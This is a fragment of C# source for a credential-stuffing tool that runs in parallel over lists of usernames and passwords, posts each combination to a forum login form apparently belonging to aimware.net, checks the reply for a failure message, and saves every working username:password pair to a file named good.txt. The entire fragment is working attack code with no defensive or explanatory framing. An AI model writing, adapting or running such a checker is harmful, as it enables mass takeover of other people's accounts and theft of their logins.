Parallel.For(0, log.Length, new ParallelOptions(), i =>
            {
                Parallel.For(0, pas.Length + 1, j =>
                {

                    using (WebClient test = new WebClient())
                    {
                        test.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                        string Parameters = "";
                        string HtmlResult = "";
                        if (j == pas.Length){
                            WriteResult(log, i, log, i, test, URI,ref clear, out Parameters, out HtmlResult,
                                ref check, ref good);
                        }
                        else{
                            WriteResult(log, i, pas, j, test, URI,ref clear, out Parameters, out HtmlResult,
                                ref check, ref good);
                        }
                    }

                });

            });


            Console.ReadKey();
        }

        private static void WriteResult(string[] log, int i, string[] pas, int j, WebClient test, string URI,ref int clear,
            out string Parameters, out string HtmlResult, ref int check, ref int good){
            Parameters = "username=" + log[i] + "&password=" + pas[j] +
                         "&submit=Login&action=do_login&url=https%3A%2F%2Faimware.net%2Fforum%2Findex.php";
            HtmlResult = test.UploadString(URI, Parameters);
            {
                if (HtmlResult.Contains("Please correct the following")){
                    if (clear == 200){
                        Console.Clear();
                    }

                    check++;
                    clear++;
                    Console.WriteLine(
                        "Account " + log[i] + ":" + pas[j] + " is invalid" +
                        "\nchecked variants: " + check + " Good: " + good);
                }
                else{
                    good++;
                    Console.WriteLine(
                        "Account " + log[i] + ":" + pas[j] + " is valid " +
                        "\nchecked variants: " + check + " Good: " + good);
                    using (var sw =
                        File.AppendText(Environment.CurrentDirectory + @"\good.txt")){
                        sw.WriteLine(log[i] + ":" + pas[j] + "\n");
                    }
                }
            }
        }